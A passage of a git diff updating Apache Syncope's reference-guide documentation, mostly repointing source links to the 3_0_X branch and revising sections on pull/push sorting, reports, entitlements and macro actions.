== "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java[DefaultGroupProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java[DefaultGroupProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultGroupProvisioningManager.java[DefaultGroupProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java[DefaultAnyObjectProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java[DefaultAnyObjectProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultAnyObjectProvisioningManager.java[DefaultAnyObjectProvisioningManager^] endif::[] ==== diff --git a/src/main/asciidoc/reference-guide/concepts/provisioning/pull.adoc b/src/main/asciidoc/reference-guide/concepts/provisioning/pull.adoc index bf4bd844468..48481e6e1c6 100644 --- a/src/main/asciidoc/reference-guide/concepts/provisioning/pull.adoc +++ b/src/main/asciidoc/reference-guide/concepts/provisioning/pull.adoc @@ -22,8 +22,24 @@ Pull is the mechanism used to acquire identity data from Identity Stores; for each external resource, one or more <> can be defined, run and scheduled for period execution. -Pull task execution involves querying the external resource and then processing each entity in an isolated transaction; -a retrieved entity can be: +Pull task execution involves querying the external resource for all <> <>, sorted +according to the order defined by a custom implementation of +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ProvisionSorter.java[ProvisionSorter^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ProvisionSorter.java[ProvisionSorter^] +endif::[] +or its default implementation +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultProvisionSorter.java[DefaultProvisionSorter^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultProvisionSorter.java[DefaultProvisionSorter^] +endif::[] +. + +Each entity is then processed in an isolated transaction; a retrieved entity can be: . _matching_ if a corresponding internal entity was found, according to the <> of - or the <> set for, if present - the enclosing external resource; @@ -63,7 +79,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/ReconFilterBuilder.java[ReconFilterBuilder^]) endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/ReconFilterBuilder.java[ReconFilterBuilder^]) +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/ReconFilterBuilder.java[ReconFilterBuilder^]) endif::[] of all available entities is processed. INCREMENTAL:: Only the actual modifications performed since the last pull task execution are considered. This mode @@ -77,7 +93,7 @@ match this condition. + [TIP] .Pull Templates ==== -With every <> it is possible to add a template for each defined <>. +With every <> it is possible to add a template for each defined <>. As the values specified in the template are applied to pulled entities, this can be used as mechanism for setting default values for attributes or external resources on entities. @@ -94,7 +110,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PullActions.java[PullActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PullActions.java[PullActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PullActions.java[PullActions^] endif::[] interface. @@ -108,7 +124,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/ADMembershipPullActions.java[ADMembershipPullActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/ADMembershipPullActions.java[ADMembershipPullActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/ADMembershipPullActions.java[ADMembershipPullActions^] endif::[] | If a User is associated with a Group in AD, keep the corresponding User as a member of the corresponding Group in Syncope. @@ -117,7 +133,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java[LDAPMembershipPullActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java[LDAPMembershipPullActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActions.java[LDAPMembershipPullActions^] endif::[] | If a User is associated with a Group in LDAP, keep the corresponding User as a member of the corresponding Group in Syncope. @@ -126,7 +142,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPPasswordPullActions.java[LDAPPasswordPullActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPPasswordPullActions.java[LDAPPasswordPullActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPPasswordPullActions.java[LDAPPasswordPullActions^] endif::[] | Import hashed password values from LDAP; the cipher algorithm associated with the password must match the value of `passwordHashAlgorithm` for the @@ -137,7 +153,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DBPasswordPullActions.java[DBPasswordPullActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DBPasswordPullActions.java[DBPasswordPullActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DBPasswordPullActions.java[DBPasswordPullActions^] endif::[] | Import hashed password values from DBMS; the cipher algorithm associated with the password must match the value of `Password cipher algorithm` for the diff --git a/src/main/asciidoc/reference-guide/concepts/provisioning/push.adoc b/src/main/asciidoc/reference-guide/concepts/provisioning/push.adoc index 03d3705ec14..a89e0a0a452 100644 --- a/src/main/asciidoc/reference-guide/concepts/provisioning/push.adoc +++ b/src/main/asciidoc/reference-guide/concepts/provisioning/push.adoc @@ -23,8 +23,24 @@ With push, the matching set of internal entities can be sent to Identity Stores (re)initialization purposes; for each external resource, one or more <> can be defined, run and scheduled for period execution. -Push task execution involves querying the internal storage and then processing each entity in an isolated transaction; -an internal entity can be: +Push task execution involves querying the internal storage for all <> <>, sorted +according to the order defined by a custom implementation of +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ProvisionSorter.java[ProvisionSorter^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/ProvisionSorter.java[ProvisionSorter^] +endif::[] +or its default implementation +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultProvisionSorter.java[DefaultProvisionSorter^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultProvisionSorter.java[DefaultProvisionSorter^] +endif::[] +. + +Each entity is then processed in an isolated transaction; an internal entity can be: . _matching_ if a corresponding remote entity was found, according to the <> set for the enclosing external resource; @@ -59,6 +75,6 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PushActions.java[PushActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PushActions.java[PushActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/pushpull/PushActions.java[PushActions^] endif::[] interface. diff --git a/src/main/asciidoc/reference-guide/concepts/realms.adoc b/src/main/asciidoc/reference-guide/concepts/realms.adoc index 3da0cddaae3..cbc15dfea4f 100644 --- a/src/main/asciidoc/reference-guide/concepts/realms.adoc +++ b/src/main/asciidoc/reference-guide/concepts/realms.adoc @@ -34,12 +34,7 @@ If Users, Groups and Any Objects are members of a realm then they are also membe realm contains everything, and other realms can be seen as containers that split up the total number of entities into smaller pools. -This has consequences on <>: - -* A User or an Any Object can be members of Groups in the same realm or in one of the parent realms. -* A User or an Any object can be in a relation with Any Objects in the same realm or in one of parent realms. - -Moreover, this partition allows fine-grained control over policy enforcement and, alongside with +This partition allows fine-grained control over policy enforcement and, alongside with <> and <>, helps to implement <>. @@ -78,10 +73,10 @@ with LDAP and Active Directory. When Users, Groups or Any Objects get created, updated or deleted in a realm, custom logic can be invoked by associating the given Realm with one or more <> of the ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/logic/api/LogicActions.java[LogicActions^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/LogicActions.java[LogicActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/logic/api/LogicActions.java[LogicActions^] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/LogicActions.java[LogicActions^] endif::[] interface. diff --git a/src/main/asciidoc/reference-guide/concepts/reports.adoc b/src/main/asciidoc/reference-guide/concepts/reports.adoc index 7ef9c965224..4464739e002 100644 --- a/src/main/asciidoc/reference-guide/concepts/reports.adoc +++ b/src/main/asciidoc/reference-guide/concepts/reports.adoc @@ -21,149 +21,17 @@ Reports are a powerful tool to extract, filter and format relevant information from a running Apache Syncope deployment, for a wide range of purposes: from business to https://en.wikipedia.org/wiki/DevOps[DevOps^]. -A report is essentially defined by a <> and a sequence of <>, where -the latter is responsible for extracting the required information and the former defines how execution results will be -presented, in the various available formats. +When defining a report, the following information must be provided: -Reports can be executed upon request or scheduled: execution results can be downloaded as: - -* XML -* HTML -* https://en.wikipedia.org/wiki/Portable_Document_Format[PDF^] -* https://en.wikipedia.org/wiki/Rich_Text_Format[RTF^] -* https://en.wikipedia.org/wiki/Comma-separated_values[CSV^] - -==== Report Templates - -A report template is defined as a triple of https://en.wikipedia.org/wiki/XSLT[XSLT^] documents, distinguished by their -target format: - -* `FO` - transforms the given report result as https://en.wikipedia.org/wiki/XSL_Formatting_Objects[XSL-FO], which -will be then made available as PDF and RTF -* `HTML` - outputs the given report result as HTML -* `CSV` - outputs the given report result as CSV - -[NOTE] -==== -Report templates can be easily managed via the <>. -==== - -==== Reportlets - -Reportlets are the building blocks of reports. - -Each reportlet is composed by: - -* a Java class extending -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportlet.java[AbstractReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportlet.java[AbstractReportlet^] -endif::[] -and implementing the information extraction logic and generating an XML stream as result -* a Java class extending -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AbstractReportletConf.java[AbstractReportletConf^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AbstractReportletConf.java[AbstractReportletConf^] -endif::[] -and embedding the configuration options that can be tuned when incorporating a given reportlet into a report; when -properly annotated, such options are manageable via the <> - -Some reportlets are available by default (and briefly presented below) either for direct usage or for acting as -a reference when building new reportlets for specific Apache Syncope deployments. - -===== Static Reportlet - -Defined by -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/StaticReportlet.java[StaticReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/StaticReportlet.java[StaticReportlet^] -endif::[] -and -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/StaticReportletConf.java[StaticReportletConf^], -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/StaticReportletConf.java[StaticReportletConf^], -endif::[] -it is essentially a handy way to inject static values (of various types) into a report. - -===== User and Group Reportlets -Defined by -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/UserReportlet.java[UserReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/UserReportlet.java[UserReportlet^] -endif::[] -and -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/UserReportletConf.java[UserReportletConf^], -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/UserReportletConf.java[UserReportletConf^], -endif::[] -it can be used to report various information about Users available in the internal storage, their attributes, -memberships and relationships, external resources and so on. - -A similar reportlet is also available for Groups, defined by -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/GroupReportlet.java[GroupReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/GroupReportlet.java[GroupReportlet^] -endif::[] -and -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/GroupReportletConf.java[GroupReportletConf^]. -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/GroupReportletConf.java[GroupReportletConf^]. -endif::[] - -===== Reconciliation Reportlet - -Defined by -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReconciliationReportlet.java[ReconciliationReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/ReconciliationReportlet.java[ReconciliationReportlet^] -endif::[] -and -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReconciliationReportletConf.java[ReconciliationReportletConf^], -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReconciliationReportletConf.java[ReconciliationReportletConf^], -endif::[] -it provides the global reconciliation status for all Users, Groups and Any Objects available in the internal storage, -e.g. whether such entities are available on all Identity Stores matching the assigned -<> and, if so, whether the <> attributes feature the expected -values. - -An instance of reconciliation reportlet is run by default from the admin console's <>, and results -are available as a widget. - -===== Audit Reportlet - -Defined by -ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AuditReportlet.java[AuditReportlet^] -endif::[] -ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AuditReportlet.java[AuditReportlet^] -endif::[] -and +* mime type and file extension: the type of content that the report is expected to generate +* job delegate class: Java class extending ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AuditReportletConf.java[AuditReportletConf^], +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportJobDelegate.java[AbstractReportJobDelegate^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AuditReportletConf.java[AuditReportletConf^], +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/report/AbstractReportJobDelegate.java[AbstractReportJobDelegate^] endif::[] -it is mostly a sample reportlet showing how to extract data produced by <>. +providing the custom logic to extract information from Syncope and generate output according to the configured mime type +* scheduling information: +** when to start +** http://www.quartz-scheduler.org/documentation/quartz-2.2.x/tutorials/crontrigger.html[cron expression^] diff --git a/src/main/asciidoc/reference-guide/concepts/roles.adoc b/src/main/asciidoc/reference-guide/concepts/roles.adoc index 216de6c2e16..83e8cfa313c 100644 --- a/src/main/asciidoc/reference-guide/concepts/roles.adoc +++ b/src/main/asciidoc/reference-guide/concepts/roles.adoc @@ -93,7 +93,7 @@ For example, the following entitlements are normally required to be granted for . `RELATIONSHIPTYPE_LIST` . `USER_READ` . `ANYTYPE_READ` -. `REALM_LIST` +. `REALM_SEARCH` . `GROUP_SEARCH` ==== @@ -122,7 +122,7 @@ The actual Entitlements are assigned through the predefined `GROUP_OWNER` Role: . `ANYTYPECLASS_LIST` . `RELATIONSHIPTYPE_LIST` . `ANYTYPE_READ` -. `REALM_LIST` +. `REALM_SEARCH` . `GROUP_SEARCH` . `GROUP_READ` . `GROUP_UPDATE` diff --git a/src/main/asciidoc/reference-guide/concepts/routes.adoc b/src/main/asciidoc/reference-guide/concepts/routes.adoc index b7bfa222989..38dd046cae2 100644 --- a/src/main/asciidoc/reference-guide/concepts/routes.adoc +++ b/src/main/asciidoc/reference-guide/concepts/routes.adoc @@ -68,7 +68,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/sra/src/main/java/org/apache/syncope/sra/predicates/CustomRoutePredicateFactory.java[CustomRoutePredicateFactory^]. endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/sra/src/main/java/org/apache/syncope/sra/predicates/CustomRoutePredicateFactory.java[CustomRoutePredicateFactory^]. +https://github.com/apache/syncope/blob/3_0_X/sra/src/main/java/org/apache/syncope/sra/predicates/CustomRoutePredicateFactory.java[CustomRoutePredicateFactory^]. endif::[] ==== Filters @@ -116,5 +116,5 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/sra/src/main/java/org/apache/syncope/sra/filters/CustomGatewayFilterFactory.java[CustomGatewayFilterFactory^]. endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/sra/src/main/java/org/apache/syncope/sra/filters/CustomGatewayFilterFactory.java[CustomGatewayFilterFactory^]. +https://github.com/apache/syncope/blob/3_0_X/sra/src/main/java/org/apache/syncope/sra/filters/CustomGatewayFilterFactory.java[CustomGatewayFilterFactory^]. endif::[] diff --git a/src/main/asciidoc/reference-guide/concepts/tasks.adoc b/src/main/asciidoc/reference-guide/concepts/tasks.adoc index 2e20d40304e..febb9feeed6 100644 --- a/src/main/asciidoc/reference-guide/concepts/tasks.adoc +++ b/src/main/asciidoc/reference-guide/concepts/tasks.adoc @@ -24,7 +24,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java[Command^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java[Command^], +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/Command.java[Command^], endif::[] interface, designed to optionally take parameters. @@ -66,14 +66,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java[PropagationManager^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java[PropagationManager^], +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java[PropagationManager^], endif::[] executed (by default) via the ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^] endif::[] during the <> process, and are permanently saved - for later re-execution or for examining the execution details - depending on the trace levels set on the related @@ -110,7 +110,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java[PullJobDelegate^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java[PullJobDelegate^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PullJobDelegate.java[PullJobDelegate^] endif::[] during the <> process, and are permanently saved - for later re-execution or for examining the execution details - depending on the trace level set on the related @@ -159,7 +159,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java[PushJobDelegate^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java[PushJobDelegate^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/PushJobDelegate.java[PushJobDelegate^] endif::[] during the <> process, and are permanently saved - for later re-execution or for examining the execution details - depending on the trace level set on the related @@ -193,14 +193,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java[NotificationManager^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java[NotificationManager^], +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/notification/DefaultNotificationManager.java[NotificationManager^], endif::[] executed via the ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/NotificationJob.java[NotificationJob^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/NotificationJob.java[NotificationJob^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/notification/NotificationJob.java[NotificationJob^] endif::[] and are permanently saved - for later re-execution or for examining the execution details - depending on the trace level set on the related <>. @@ -221,6 +221,18 @@ list, update or execute the given macro task ** when to start ** http://www.quartz-scheduler.org/documentation/quartz-2.2.x/tutorials/crontrigger.html[cron expression^] +===== MacroActions + +Macro task execution can be decorated with custom logic to be invoked around task execution, by associating +macro tasks to one or more <> of the +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/MacroActions.java[MacroActions^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/api/MacroActions.java[MacroActions^] +endif::[] +interface. + [[tasks-scheduled]] ==== Scheduled @@ -233,7 +245,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java[AbstractSchedTaskJobDelegate^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java[AbstractSchedTaskJobDelegate^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java[AbstractSchedTaskJobDelegate^] endif::[] providing the custom logic to execute * scheduling information: diff --git a/src/main/asciidoc/reference-guide/concepts/typemanagement.adoc b/src/main/asciidoc/reference-guide/concepts/typemanagement.adoc index c2ed3ae2176..1be95ed1250 100644 --- a/src/main/asciidoc/reference-guide/concepts/typemanagement.adoc +++ b/src/main/asciidoc/reference-guide/concepts/typemanagement.adoc @@ -58,7 +58,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/attrvalue/validation/EmailAddressValidator.java[EmailAddressValidator^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/attrvalue/validation/EmailAddressValidator.java[EmailAddressValidator^] +https://github.com/apache/syncope/blob/3_0_X/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/attrvalue/validation/EmailAddressValidator.java[EmailAddressValidator^] endif::[] for reference * Mandatory condition - http://commons.apache.org/proper/commons-jexl/[JEXL^] expression indicating whether values for @@ -103,7 +103,7 @@ When defining a virtual schema, the following information must be provided: * External resource - linking resource * External attribute - attribute to be linked on the external resource -* Any Type - reference <> on the external resource +* Any Type - reference <> on the external resource * Read-only flag - whether the external 